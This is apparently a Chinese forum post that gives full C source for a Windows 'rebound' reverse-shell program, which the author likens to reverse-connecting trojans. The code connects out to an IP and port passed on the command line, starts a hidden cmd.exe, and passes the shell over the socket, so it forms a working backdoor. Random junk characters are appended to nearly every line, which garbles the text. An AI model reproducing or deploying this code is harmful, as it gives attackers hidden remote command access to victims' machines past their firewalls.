这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q|O! cEW/
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/* ============================== 4]VoIUIuN
Rebound port in Windows NT mo$`a6[h<
By wind,2006/7 |BO!q9633V
===============================*/ ]4$t'wI.
#include !@r1B`]j+"
#include ?0{8fGM4
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#pragma comment(lib,"wsock32.lib") RwG@C|sG
h{R>L s
void OutputShell(); [|XMR=\>
SOCKET sClient; }=+J&cR
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?3x7_=4t@
"-pQL )f
void main(int argc,char **argv) }AZ0BI,TI
{ aMxg6\8
WSADATA stWsaData; ~BSIp
.
int nRet; ;~2RWj=-
SOCKADDR_IN stSaiClient,stSaiServer; w=UFj
sn4wd:b7%
if(argc != 3) d^0vaX6e}
{ &<s[(w!%%
printf("Useage:\n\rRebound DestIP DestPort\n"); LFi 8@
return; F@76V$U.
} B``)
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WSAStartup(MAKEWORD(2,2),&stWsaData); r&u&$"c
}bW"Z2^nB
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tML[~AZh
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stSaiClient.sin_family = AF_INET; ]
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stSaiClient.sin_port = htons(0); ~w&_l57
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D9cpw0{nc
.+;;-]})
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y"x9B%e
{ V*uoGWL]+
printf("Bind Socket Failed!\n"); l;N?*2zm[
return; "M)kV5v%
} yc#0c[ZQu
!,}F2z?4c
stSaiServer.sin_family = AF_INET; CSUXa8u7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ypCarvQT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P)>`^wc$
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3C+!Y#F
{ qqmhh_[T
printf("Connect Error!"); G,VTFM6
return; u9TiEEof3
} <"93
OutputShell(); eQiK\iDS
} IfeCSK,x
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void OutputShell() $P9'"a)Lm
{ yX^/Oc@j
char szBuff[1024]; Rh[%UNl
SECURITY_ATTRIBUTES stSecurityAttributes; @Kx@ 2#~b
OSVERSIONINFO stOsversionInfo; s/;iZiWK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8f\sG:$
STARTUPINFO stStartupInfo; X9J&OQ[W
char *szShell; cv .R`)l
PROCESS_INFORMATION stProcessInformation; *A2D}X3s
unsigned long lBytesRead; (1t b
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b5-W K;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V Z#@7t
stSecurityAttributes.lpSecurityDescriptor = 0; %Sgdhgk1
stSecurityAttributes.bInheritHandle = TRUE; tX<.
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9Y6Ear .W
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %^5|3l3y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sPu@t&$
Dd3GdG@*~
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t_VF=B^LuR
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p\"WX
stStartupInfo.wShowWindow = SW_HIDE; lURL;h
stStartupInfo.hStdInput = hReadPipe; 6X2~30pdE
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s.9)?<[
sQ4~oZZ
GetVersionEx(&stOsversionInfo); {^Y0kvnd
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switch(stOsversionInfo.dwPlatformId) $KmhG1*s
{ #RJFJb/
case 1: 4axc05
szShell = "command.com"; 7U@;X~c
break; U_X /
default: w7(jSPB
szShell = "cmd.exe"; P?.j
w I
break; lY.{v]i }
} c]u^0X?&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o
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send(sClient,szMsg,77,0); QR.] ?t;1
while(1) {JJq/[j
{ Y&G]M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \Q
CH.~]
if(lBytesRead) SR+<v=i
{ /^m3?q[a
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n1"QHA
send(sClient,szBuff,lBytesRead,0); [K*>W[n
} `4@_Y<
else X-Yy1"6m1
{ THFzC/~Q
lBytesRead=recv(sClient,szBuff,1024,0); QJsud{ada
if(lBytesRead<=0) break; OdZLJt?g
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g[#4`Q<.
} Zx1 I&K\Cd
} JUf{;nt
q=_&izmE'7
return; B. J_(V+
}